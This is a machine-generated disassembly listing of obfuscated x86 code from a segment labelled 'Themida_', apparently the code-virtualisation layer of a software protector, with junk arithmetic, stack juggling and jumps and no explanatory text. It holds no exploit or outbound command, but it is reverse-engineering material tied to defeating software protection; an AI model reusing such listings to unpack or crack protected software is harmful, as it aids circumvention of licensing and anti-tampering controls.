		not	ebx
		inc	ebx
		sub	ebx, 99A8D745h
		push	esi
		mov	esi, ebx
		mov	edx, esi
		pop	esi
		jmp	loc_566A13
; ---------------------------------------------------------------------------


loc_565BD6:				; CODE XREF: Themida_:0056EA49j
		push	ecx
		jmp	loc_560544
; ---------------------------------------------------------------------------
		lodsd
		add	eax, 34682FC5h
		sub	eax, 1610314h
		sub	eax, 1AD170C1h
		sub	eax, 404B2C7Fh
		sub	eax, 2E6F720Eh
		sub	eax, ebx
		add	eax, 2E6F720Eh
		add	eax, 404B2C7Fh
		add	eax, 1AD170C1h
		jmp	loc_56EBBF
; ---------------------------------------------------------------------------


loc_565C0C:				; CODE XREF: Themida_:0056A1BEj
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	3AD8h
		mov	[esp], ebx
		jmp	loc_561F5E
; ---------------------------------------------------------------------------


loc_565C23:				; CODE XREF: Themida_:0056835Ej
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_573ABA
; ---------------------------------------------------------------------------


loc_565C38:				; CODE XREF: Themida_:0056855Fj
		pop	esi
		sub	edi, 0B467BA9Fh
		mov	edx, edi
		pop	edi
		jmp	loc_565406
; ---------------------------------------------------------------------------


loc_565C47:				; CODE XREF: Themida_:00564EC8j
		mov	ebp, 57B637D0h
		not	ebp
		jmp	loc_5689DF
; ---------------------------------------------------------------------------


loc_565C53:				; CODE XREF: Themida_:0056DAE3j
		push	ebx
		mov	bh, 7Dh
		sub	bh, 6
		jmp	loc_563AA3
; ---------------------------------------------------------------------------


loc_565C5E:				; CODE XREF: Themida_:0056FA52j
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_56A454
; ---------------------------------------------------------------------------


loc_565C67:				; CODE XREF: Themida_:0056AA31j
		pop	edi
		mov	edi, ecx
		jmp	loc_56AF36
; ---------------------------------------------------------------------------


loc_565C6F:				; CODE XREF: Themida_:00573779j
		add	edi, 4
		jmp	loc_56579A
; ---------------------------------------------------------------------------


loc_565C7A:				; CODE XREF: Themida_:00565F3Aj
		shl	esi, 3
		dec	esi
		not	esi
		push	edx
		mov	edx, 9F6ADE58h
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		and	eax, esi
		push	dword ptr [esp]
		jmp	loc_563EBD
; ---------------------------------------------------------------------------


loc_565C98:				; CODE XREF: Themida_:0055FCF8j
		add	eax, esi
		pop	esi
		jmp	loc_565A52
; ---------------------------------------------------------------------------


loc_565CA0:				; CODE XREF: Themida_:0056B30Ej
		sub	al, 0C5h
		sub	al, ch
		jmp	loc_562EBA
; ---------------------------------------------------------------------------


loc_565CA9:				; CODE XREF: Themida_:00566212j
		pop	eax
		add	ebx, eax
		push	ecx
		mov	ecx, 3E2411B4h
		jmp	loc_562CDA
; ---------------------------------------------------------------------------


loc_565CB7:				; CODE XREF: Themida_:00564366j
		mov	esp, [esp]
		rol	word ptr [esp],	cl
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_565CC4:				; CODE XREF: Themida_:0056C8E7j
		mov	edx, [esp]
		jmp	loc_573FFB
; ---------------------------------------------------------------------------


loc_565CCC:				; CODE XREF: Themida_:0057297Aj
		pop	eax
		push	ebx
		jmp	loc_572C9F
; ---------------------------------------------------------------------------


loc_565CD3:				; CODE XREF: Themida_:0056C79Cj
		push	ebp
		jmp	loc_573F39
; ---------------------------------------------------------------------------


loc_565CD9:				; CODE XREF: Themida_:00574287j
		push	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		add	ebx, 4
		push	ebx
		jmp	loc_562D30
; ---------------------------------------------------------------------------


loc_565CF6:				; CODE XREF: Themida_:00568956j
		cmp	cl, al
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_565CFE:				; CODE XREF: Themida_:00564536j
		sub	eax, edi
		pop	edi
		push	38BBh
		mov	[esp], ebx
		mov	ebx, 9DC62C9h
		neg	ebx
		jmp	loc_5628BB
; ---------------------------------------------------------------------------


loc_565D15:				; CODE XREF: Themida_:00565795j
		add	edi, ebx
		add	edi, 24C12293h
		jmp	loc_564D1F
; ---------------------------------------------------------------------------


loc_565D22:				; CODE XREF: Themida_:005705F6j
		sub	eax, 313D31C6h
		push	ebx
		mov	ebx, 6331277Ah
		add	ebx, 0E3BE42EAh
		add	eax, ebx
		pop	ebx
		add	eax, 636442FAh
		sub	eax, 7145078Bh
		pop	ebx
		jmp	loc_560240
; ---------------------------------------------------------------------------


loc_565D46:				; CODE XREF: Themida_:00573297j
		push	dword ptr [esp]
		jmp	loc_569723
; ---------------------------------------------------------------------------


loc_565D4E:				; CODE XREF: Themida_:0056B7D7j
		pop	ebx
		add	dh, ch
		jmp	loc_5725DE
; ---------------------------------------------------------------------------


loc_565D56:				; CODE XREF: Themida_:00565E33j
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		mov	ebp, 55274BF7h
		jmp	loc_56FEE7
; ---------------------------------------------------------------------------


loc_565D67:				; CODE XREF: Themida_:00569645j
		mov	edi, ecx
		pop	ecx
		or	edi, 0F717A9Fh
		push	ecx
		jmp	loc_568F5A
; ---------------------------------------------------------------------------


loc_565D76:				; CODE XREF: Themida_:0056D60Cj
		add	eax, 32CE62B2h
		sub	eax, 2F92453h
		add	eax, 52FB2AF6h
		add	eax, ecx
		push	ecx
		mov	ecx, 47992B6Eh
		jmp	loc_574220
; ---------------------------------------------------------------------------


loc_565D92:				; CODE XREF: Themida_:005637F5j
		push	ebx
		jmp	loc_564295
; ---------------------------------------------------------------------------


loc_565D98:				; CODE XREF: Themida_:00563E73j
		pop	eax
		sub	edi, ecx
		push	ecx
		jmp	loc_563CA3
; ---------------------------------------------------------------------------


loc_565DA1:				; CODE XREF: Themida_:00572893j
		mov	[esp], ebp
		mov	ebp, 4991144h
		xor	[esp+4], ebp
		pop	ebp
		push	dword ptr [esp]
		jmp	loc_56CF3D
; ---------------------------------------------------------------------------


loc_565DB6:				; CODE XREF: Themida_:00571A24j
		sub	esi, 0A791B007h
		mov	ebp, esi
		pop	esi
		push	0
		sub	[esp], ebp
		pop	ebp
		push	ebx
		mov	ebx, 0E09A67A0h
		sub	ebp, ebx
		pop	ebx
		or	edi, ebp
		pop	ebp
		push	edi
		jmp	loc_55F774
; ---------------------------------------------------------------------------


loc_565DDA:				; CODE XREF: Themida_:00565188j
		push	eax
		jmp	loc_567ACA
; ---------------------------------------------------------------------------


loc_565DE0:				; CODE XREF: Themida_:0056D843j
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_563854
; ---------------------------------------------------------------------------


loc_565DEB:				; CODE XREF: Themida_:0055FB96j
		push	eax
		mov	eax, 710064E8h
		sub	eax, 60BB38CDh
		xor	eax, 5CED5C58h
		add	eax, 0E3B400BAh
		jmp	loc_572CE3
; ---------------------------------------------------------------------------


loc_565E05:				; CODE XREF: Themida_:00573831j
		xor	al, 55h
		xchg	bh, al
		not	bh
		xchg	bh, al
		not	al
		xor	al, 0EEh
		mov	ch, al
		pop	eax
		shr	ch, 7
		inc	ch
		sub	ch, 47h
		not	ch
		add	ch, 41h
		jmp	loc_56C589
; ---------------------------------------------------------------------------


loc_565E26:				; CODE XREF: Themida_:00564972j
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_565D56
; ---------------------------------------------------------------------------


loc_565E38:				; CODE XREF: Themida_:0056E800j
		xor	edx, eax
		add	edx, 0FFFFFFFFh
		sub	edx, 44282E67h
		add	[esp+4], edx
		pop	edx
		sub	dword ptr [esp], 7D66262Ah
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_565E57:				; CODE XREF: Themida_:0056A6ECj
		mov	edx, 36124CADh
		not	edx
		sub	edx, 0FFFFFFFFh
		add	edx, 6F2B44A5h
		inc	edx
		sub	edx, 0C606EEA2h
		sub	ebx, 214C2A3Fh
		jmp	loc_5640C9
; ---------------------------------------------------------------------------


loc_565E79:				; CODE XREF: Themida_:0056B046j
		pop	esp
		jmp	loc_56ADDD
; ---------------------------------------------------------------------------


loc_565E7F:				; CODE XREF: Themida_:00572F76j
		sub	esp, 2
		mov	[esp], cx
		mov	ch, 0C5h
		jmp	loc_570617
; ---------------------------------------------------------------------------


loc_565E8D:				; CODE XREF: Themida_:0056941Aj
		mov	edi, esp
		jmp	loc_56DF82
; ---------------------------------------------------------------------------


loc_565E94:				; CODE XREF: Themida_:00560591j
		sub	eax, ecx
		sub	eax, 6F5F130Ah
		mov	ecx, [esp]
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_5606F7
; ---------------------------------------------------------------------------


loc_565EAF:				; CODE XREF: Themida_:00567027j
		and	ebp, 1AD44303h
		shr	ebp, 5
		sub	ebp, 3FFFFCh
		push	7B10h
		mov	[esp], ebp
		push	esi
		mov	esi, 42F3BC6h
		jmp	loc_568868
; ---------------------------------------------------------------------------
		lodsd
		sub	eax, 14452390h
		sub	eax, 77CA01B4h
		add	eax, ebx
		push	ebp
		jmp	loc_56ADCF
; ---------------------------------------------------------------------------


loc_565EE4:				; CODE XREF: Themida_:00570411j
		pop	ebx
		dec	al
		shr	al, 5
		push	ebx
		mov	bl, 2Ah
		xor	al, bl
		jmp	loc_56B4D5
; ---------------------------------------------------------------------------


loc_565EF4:				; CODE XREF: Themida_:00571686j
		pop	esp
		shr	ecx, 7
		push	ebp
		push	esp
		pop	ebp
		push	ebx
		jmp	loc_55F9A8
; ---------------------------------------------------------------------------


loc_565F01:				; CODE XREF: Themida_:00574699j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_57220B
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_56B472
; ---------------------------------------------------------------------------


loc_565F16:				; CODE XREF: Themida_:00568715j
		mov	ch, 0A7h
		jmp	loc_56B6F9
; ---------------------------------------------------------------------------


loc_565F1D:				; CODE XREF: Themida_:0056F25Bj
		and	ecx, 4D662D2Dh
		xchg	edx, ecx
		not	edx
		jmp	loc_55F5DE
; ---------------------------------------------------------------------------


loc_565F2C:				; CODE XREF: Themida_:00568346j
		add	ebx, edi
		mov	[ebx], al
		pop	ebx
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_565F36:				; CODE XREF: Themida_:0056716Dj
		xor	edi, esi
		xor	esi, edi
		jmp	loc_565C7A
; ---------------------------------------------------------------------------


loc_565F3F:				; CODE XREF: Themida_:0057253Bj
		pop	ebx
		add	eax, edx
		sub	eax, 38343410h
		sub	eax, 51FF7258h
		jmp	loc_569F78
; ---------------------------------------------------------------------------


loc_565F51:				; CODE XREF: Themida_:005605A7j
		add	esi, 1
		shr	esi, 4
		add	esi, 38303127h
		add	esi, 0FFFFFFFFh
		push	eax
		mov	eax, 355B3B35h
		xor	eax, 0C2911439h
		add	esi, 1BBA4B8Bh
		add	esi, 7E7318A6h
		push	ebp
		mov	ebp, 599519CAh
		jmp	loc_5650A0
; ---------------------------------------------------------------------------


loc_565F85:				; CODE XREF: Themida_:0056B50Ej
		pop	ebp
		sub	edx, 6E225FF4h
		sub	edx, 36B42EFDh
		sub	edx, edi
		push	ebx
		push	ecx
		mov	ecx, 36B42EFDh
		push	ebp
		jmp	loc_56BF36
; ---------------------------------------------------------------------------


loc_565FA1:				; CODE XREF: Themida_:0056D704j
		mov	esp, [esp]
		push	esp
		pop	dword ptr [esp]
		push	edx
		push	ebp
		push	0B6666DBh
		pop	ebp
		xor	ebp, 6EC2282Bh
		jmp	loc_56F510
; ---------------------------------------------------------------------------


loc_565FBB:				; CODE XREF: Themida_:00571D89j
		add	ecx, esi
		pop	esi
		neg	ecx
		jmp	loc_572D4A
; ---------------------------------------------------------------------------


loc_565FC5:				; CODE XREF: Themida_:0056299Ej
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5669D3
; ---------------------------------------------------------------------------


loc_565FCE:				; CODE XREF: Themida_:0056223Dj
		add	esp, 4
		jmp	loc_568BC3
; ---------------------------------------------------------------------------


loc_565FD9:				; CODE XREF: Themida_:00569548j
		push	ecx
		mov	ecx, 4B186BF7h
		sub	esi, ecx
		pop	ecx
		xor	esi, 391A2596h
		push	3109h
		jmp	loc_5661B2
; ---------------------------------------------------------------------------


loc_565FF2:				; CODE XREF: Themida_:00564663j
		push	eax
		jmp	loc_56E568
; ---------------------------------------------------------------------------


loc_565FF8:				; CODE XREF: Themida_:00571299j
		pop	ebp
		jmp	loc_568C69
; ---------------------------------------------------------------------------


loc_565FFE:				; CODE XREF: Themida_:00562A43j
		mov	[esp], ebp
		push	4FD72720h
		jmp	loc_561F8C
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	edx, [esp]
		push	eax
		push	esp
		pop	eax
		push	edx
		mov	edx, 46580664h
		xor	edx, 640BE0h
		sub	edx, 463C0D80h
		jmp	loc_569991
; ---------------------------------------------------------------------------


loc_56602B:				; CODE XREF: Themida_:0056B5FAj
		push	eax
		mov	eax, 1AA51C6Eh
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_563623
; ---------------------------------------------------------------------------


loc_56603F:				; CODE XREF: Themida_:00564C19j
		mov	ecx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		shr	ecx, 5
		jmp	loc_570FFA
; ---------------------------------------------------------------------------


loc_566053:				; CODE XREF: Themida_:0055FD33j
		push	62D8h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		sub	esp, 4
		jmp	loc_5639A4
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	3AFAh
		mov	[esp], edi
		jmp	loc_568754
; ---------------------------------------------------------------------------


loc_566093:				; CODE XREF: Themida_:0056D7B5j
		add	esp, 4
		sub	edi, 42300E12h
		inc	edi
		push	638Bh
		jmp	loc_56B518
; ---------------------------------------------------------------------------


loc_5660AA:				; CODE XREF: Themida_:005716CFj
		xor	bl, al
		movzx	eax, al
		lea	eax, [edi+eax*4]
		jmp	loc_56CA6A
; ---------------------------------------------------------------------------


loc_5660B7:				; CODE XREF: Themida_:0056C634j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_56E352
; ---------------------------------------------------------------------------


loc_5660D8:				; CODE XREF: Themida_:0056A813j
		push	edx
		mov	dh, 0A7h
		jmp	loc_56B7C9
; ---------------------------------------------------------------------------


loc_5660E0:				; CODE XREF: Themida_:005747B4j
		sub	eax, 7A3FB46Ch
		or	ebx, eax
		jmp	loc_571642
; ---------------------------------------------------------------------------


loc_5660EC:				; CODE XREF: Themida_:005726BCj
		pop	esi
		jmp	loc_569919
; ---------------------------------------------------------------------------


loc_5660F2:				; CODE XREF: Themida_:0055FDD9j
		sub	dl, bh
		jmp	loc_5659C9
; ---------------------------------------------------------------------------


loc_5660F9:				; CODE XREF: Themida_:0056A41Fj
		pop	bx
		sub	bl, 14h
		jmp	loc_566427
; ---------------------------------------------------------------------------


loc_566103:				; CODE XREF: Themida_:00561C3Bj
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_563D11
; ---------------------------------------------------------------------------


loc_566114:				; CODE XREF: Themida_:0056FF02j
		mov	eax, esp
		jmp	loc_570562
; ---------------------------------------------------------------------------


loc_56611B:				; CODE XREF: Themida_:0056EE49j
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	48C9h
		mov	[esp], eax
		push	esp
		jmp	loc_5658D3
; ---------------------------------------------------------------------------


loc_566132:				; CODE XREF: Themida_:00567801j
		add	esi, 4
		sub	esi, 4
		jmp	loc_56DC0B
; ---------------------------------------------------------------------------


loc_566143:				; CODE XREF: Themida_:0056B2EBj
		push	small 3FCh
		mov	[esp], dx
		mov	dh, 0D9h
		sub	al, dh
		jmp	loc_56D9BC
; ---------------------------------------------------------------------------


loc_566154:				; CODE XREF: Themida_:00565569j
		sub	edx, 21514A0Eh
		push	ecx
		jmp	loc_56FC91
; ---------------------------------------------------------------------------


loc_566160:				; CODE XREF: Themida_:00573BC6j
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 446D4B63h
		add	ebp, 0BB92B4A1h
		add	edx, 124E34BBh
		add	edx, ebp
		sub	edx, 124E34BBh
		pop	ebp
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ecx
		jmp	loc_56DAE8
; ---------------------------------------------------------------------------


loc_566190:				; CODE XREF: Themida_:005673C7j
		mov	ebx, 5CFB4C3Dh
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 2921AF2h
		mov	edx, ebp
		jmp	loc_56A5F7
; ---------------------------------------------------------------------------


loc_5661A7:				; CODE XREF: Themida_:0056F9B7j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5648FF
; ---------------------------------------------------------------------------


loc_5661B2:				; CODE XREF: Themida_:00565FEDj
		mov	[esp], ecx
		mov	ecx, 7701E479h
		xor	esi, ecx
		pop	ecx
		push	esi
		push	ebx
		mov	ebx, 73EF27B6h
		xor	[esp+4], ebx
		pop	ebx
		pop	eax
		xor	eax, 73EF27B6h
		mov	esi, [esp]
		add	esp, 4
		xor	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_568E4A
; ---------------------------------------------------------------------------


loc_5661FA:				; CODE XREF: Themida_:00568634j
		add	eax, 78A602D7h
		pop	esi
		jmp	loc_573062
; ---------------------------------------------------------------------------


loc_566205:				; CODE XREF: Themida_:00568DE5j
		inc	eax
		shr	eax, 5
		neg	eax
		sub	eax, 0F6762663h
		add	ebx, eax
		jmp	loc_565CA9
; ---------------------------------------------------------------------------


loc_566217:				; CODE XREF: Themida_:00561DD4j
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_566221:				; CODE XREF: Themida_:0055FBFDj
		add	ebp, edi
		pop	edi
		or	ebp, 1E985F41h
		neg	ebp
		not	ebp
		sub	ebp, 0FFFFFFFFh
		shr	ebp, 8
		add	ebp, 0FFA10005h
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56D175
; ---------------------------------------------------------------------------


loc_566247:				; CODE XREF: Themida_:0056C2B8j
		neg	ebx
		push	ecx
		mov	ecx, 9D27E1Eh
		shr	ecx, 5
		shl	ecx, 2
		sub	ecx, 54D04A52h
		jmp	loc_569E88
; ---------------------------------------------------------------------------


loc_566260:				; CODE XREF: Themida_:0056956Aj
		add	esi, edi
		pop	edi
		xchg	esi, [esp]
		mov	esp, [esp]
		push	5488h
		mov	[esp], ecx
		mov	ecx, 2
		jmp	loc_568479
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		jmp	loc_5737E0
; ---------------------------------------------------------------------------


loc_566283:				; CODE XREF: Themida_:00573272j
		btc	[esp], ax
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56628E:				; CODE XREF: Themida_:0055FAB3j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 53EB7723h
		add	edx, 0AC1488E1h
		add	esi, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5604A5
; ---------------------------------------------------------------------------


loc_5662AD:				; CODE XREF: Themida_:0056AE02j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_56C40A
; ---------------------------------------------------------------------------


loc_5662B9:				; CODE XREF: Themida_:0056C168j
		mov	dl, cl
		pop	ecx
		mov	cl, dl
		pop	edx
		push	ebx
		push	eax
		mov	eax, 0C7D684Fh
		shr	eax, 6
		sub	eax, 33D93FEBh
		add	eax, 0FFFFFFFFh
		push	edi
		mov	edi, 0CC58B5B5h
		xor	eax, edi
		pop	edi
		jmp	loc_56D436
; ---------------------------------------------------------------------------


loc_5662E1:				; CODE XREF: Themida_:00568C6Bj
		shr	edx, 1
		cmp	eax, edx
		jz	loc_571B98
		push	958h
		jmp	loc_56A886
; ---------------------------------------------------------------------------


loc_5662F5:				; CODE XREF: Themida_:0056168Aj
		mov	edx, 77286B93h
		mov	ebp, 9B383Bh
		xor	ebp, edx
		pop	edx
		inc	ebp
		jmp	loc_562B89
; ---------------------------------------------------------------------------


loc_566308:				; CODE XREF: Themida_:005684BEj
		pop	edx
		jmp	loc_56295B
; ---------------------------------------------------------------------------


loc_56630E:				; CODE XREF: Themida_:0056144Dj
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		push	3CFDh
		jmp	loc_560300
; ---------------------------------------------------------------------------


loc_566327:				; CODE XREF: Themida_:005686B9j
		or	[esp], al
		pushf
		jmp	loc_564092
; ---------------------------------------------------------------------------


loc_566330:				; CODE XREF: Themida_:005707C5j
		mov	ecx, 6E8B7BC5h
		add	edx, ecx
		pop	ecx
		jmp	loc_56285E
; ---------------------------------------------------------------------------


loc_56633D:				; CODE XREF: Themida_:00567DCDj
		pop	ecx
		add	ecx, 23D0089Ch
		sub	ecx, 2AD922B7h
		add	ecx, ebx
		add	ecx, 2AD922B7h
		jmp	loc_571EEE
; ---------------------------------------------------------------------------


loc_566357:				; CODE XREF: Themida_:00569139j
		push	dword ptr [esp]
		pop	edx
		jmp	loc_573FE4
; ---------------------------------------------------------------------------


loc_566360:				; CODE XREF: Themida_:0056A1EAj
		push	eax
		mov	eax, 25873345h
		jmp	loc_56C45C
; ---------------------------------------------------------------------------


loc_56636B:				; CODE XREF: Themida_:00565AFBj
		mov	eax, esp
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		jmp	loc_563E80
; ---------------------------------------------------------------------------


loc_56637A:				; CODE XREF: Themida_:005603F5j
		mov	[esp], ebx
		mov	bl, ah
		mov	ch, bl
		pop	ebx
		pop	eax
		add	al, 0BFh
		add	al, ch
		sub	al, 0BFh
		mov	cx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_56F880
; ---------------------------------------------------------------------------


loc_566395:				; CODE XREF: Themida_:00570683j
		push	ecx
		mov	ecx, esp
		jmp	loc_566CAA
; ---------------------------------------------------------------------------


loc_56639D:				; CODE XREF: Themida_:0056FE96j
		mov	bh, 0B0h
		shl	bh, 1
		inc	bh
		dec	bh
		sub	bh, 0DAh
		jmp	loc_571862
; ---------------------------------------------------------------------------


loc_5663AD:				; CODE XREF: Themida_:00560060j
		mov	edi, esp
		add	edi, 4
		jmp	loc_567750
; ---------------------------------------------------------------------------


loc_5663BA:				; CODE XREF: Themida_:00562E3Fj
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		jmp	loc_564854
; ---------------------------------------------------------------------------


loc_5663CA:				; CODE XREF: Themida_:0056CF81j
		add	eax, 1CE25BE1h
		sub	eax, 7FFA1E98h
		add	eax, esi
		add	eax, 7FFA1E98h
		jmp	loc_57456E
; ---------------------------------------------------------------------------


loc_5663E0:				; CODE XREF: Themida_:005612EBj
		add	esp, 4
		jmp	loc_55F7A0
; ---------------------------------------------------------------------------


loc_5663E8:				; CODE XREF: Themida_:00560AE5j
		push	5DF0h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_564439
; ---------------------------------------------------------------------------


loc_566407:				; CODE XREF: Themida_:0056945Aj
		add	esp, 4
		xor	edi, ebp
		xor	ebp, edi
		xor	edi, ebp
		not	ebp
		xchg	ebp, edi
		neg	edi
		dec	edi
		add	edi, 28D6F661h
		add	eax, 225648CFh
		jmp	loc_565762
; ---------------------------------------------------------------------------


loc_566427:				; CODE XREF: Themida_:005660FEj
		sub	bl, ah
		add	bl, 14h
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	bl, 3Dh
		sub	bl, al
		add	bl, 3Dh
		add	bl, 32h
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_566455:				; CODE XREF: Themida_:0057230Dj
		xor	cl, 56h
		xor	dl, cl
		pop	ecx
		push	2DC7h
		mov	[esp], ebx
		push	ecx
		mov	ch, 0C7h
		mov	bh, ch
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_565B94
; ---------------------------------------------------------------------------


loc_566477:				; CODE XREF: Themida_:005701FAj
		pop	eax
		sub	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_564E3B
; ---------------------------------------------------------------------------


loc_566488:				; CODE XREF: Themida_:00566C27j
		mov	ebp, 18E6667Bh
		push	362Ah
		mov	[esp], ebp
		mov	ebp, 4E476019h
		push	eax
		mov	eax, 46601458h
		and	eax, 782B3148h
		jmp	loc_5668AB
; ---------------------------------------------------------------------------


loc_5664AA:				; CODE XREF: Themida_:00570A74j
		neg	ebx
		add	ebx, 172C2F8Bh
		and	ebx, 18623D43h
		add	ebx, 10881007h
		sub	ebp, 4B825AD2h
		sub	ebp, ebx
		jmp	loc_56EDCF
; ---------------------------------------------------------------------------


loc_5664CB:				; CODE XREF: Themida_:00569BD1j
		push	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	311Dh
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_57428C
; ---------------------------------------------------------------------------


loc_5664FF:				; CODE XREF: Themida_:0057424Bj
		pop	ebx
		sub	ebx, 42C40E5Bh
		add	ebx, ebp
		add	ebx, 42C40E5Bh
		mov	ebp, [esp]
		push	54E5h
		mov	[esp], ebp
		jmp	loc_56FCBA
; ---------------------------------------------------------------------------


loc_56651E:				; CODE XREF: Themida_:00569A87j
		add	esp, 4
		jmp	loc_569BAB
; ---------------------------------------------------------------------------


loc_566526:				; CODE XREF: Themida_:0056F7C8j
		mov	esp, [esp]
		jmp	loc_55FF8D
; ---------------------------------------------------------------------------


loc_56652E:				; CODE XREF: Themida_:0056F5C6j
		shr	eax, 0Bh
		xor	ecx, eax
		jmp	loc_572885
; ---------------------------------------------------------------------------


loc_566538:				; CODE XREF: Themida_:00574376j
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		push	edi
		mov	edi, 4
		push	edi
		mov	edi, 0AE82BDDh
		jmp	loc_56A926
; ---------------------------------------------------------------------------


loc_566558:				; CODE XREF: Themida_:0055F954j
		add	esp, 4
		push	edx
		mov	edx, 3738125Bh
		sub	edx, 570C4113h
		xor	edx, 11AE4E48h
		xor	edx, 0AB39F514h
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 5CD9D8Fh
		add	edx, ecx
		jmp	loc_567886
; ---------------------------------------------------------------------------


loc_566588:				; CODE XREF: Themida_:00561C9Fj
		shr	esi, 2
		jmp	loc_56FB2B
; ---------------------------------------------------------------------------


loc_566590:				; CODE XREF: Themida_:0056B43Cj
		pop	edx
		mov	ebx, edi
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		push	ebp
		jmp	loc_56728A
; ---------------------------------------------------------------------------


loc_56659F:				; CODE XREF: Themida_:0056F5AEj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56CF5E
; ---------------------------------------------------------------------------


loc_5665AD:				; CODE XREF: Themida_:0056FE90j
		push	esi
		pop	edx
		pop	esi
		inc	edx
		dec	edx
		add	edx, 5D1E7659h
		or	ebp, edx
		jmp	loc_56FFF3
; ---------------------------------------------------------------------------


loc_5665BF:				; CODE XREF: Themida_:0056CA9Aj
		sub	esi, 25B00C9h
		jmp	loc_56E7E5
; ---------------------------------------------------------------------------


loc_5665CA:				; CODE XREF: Themida_:00562D22j
		mov	[esp], eax
		mov	eax, 0C642B315h
		sub	esi, 4BC7568Eh
		sub	esi, eax
		add	esi, 4BC7568Eh
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		pop	edx
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_563FCB
; ---------------------------------------------------------------------------


loc_5665F9:				; CODE XREF: Themida_:005689E0j
		or	ebp, 3770580Eh
		sub	ebp, 6236BFBh
		jmp	loc_573DF6
; ---------------------------------------------------------------------------


loc_56660A:				; CODE XREF: Themida_:0056C8DEj
		push	ebp
		mov	ebp, 4C072E2h
		sub	edx, ebp
		pop	ebp
		mov	esi, edx
		mov	edx, [esp]
		jmp	loc_563CAF
; ---------------------------------------------------------------------------


loc_56661D:				; CODE XREF: Themida_:00571A05j
		sub	ebx, 3BFF3BEBh
		add	esi, ebx
		pop	ebx
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_56FCE6
; ---------------------------------------------------------------------------


loc_566637:				; CODE XREF: Themida_:00560CC0j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_566640:				; CODE XREF: Themida_:00570AE5j
		add	esp, 4
		pop	esi
		xor	edi, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_569958
; ---------------------------------------------------------------------------


loc_566657:				; CODE XREF: Themida_:005672B8j
		xor	edi, eax
		jmp	loc_570B23
; ---------------------------------------------------------------------------
		push	dword ptr [edx]
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_566665:				; CODE XREF: Themida_:005601AEj
		movzx	cx, ah
		jmp	loc_5637C6
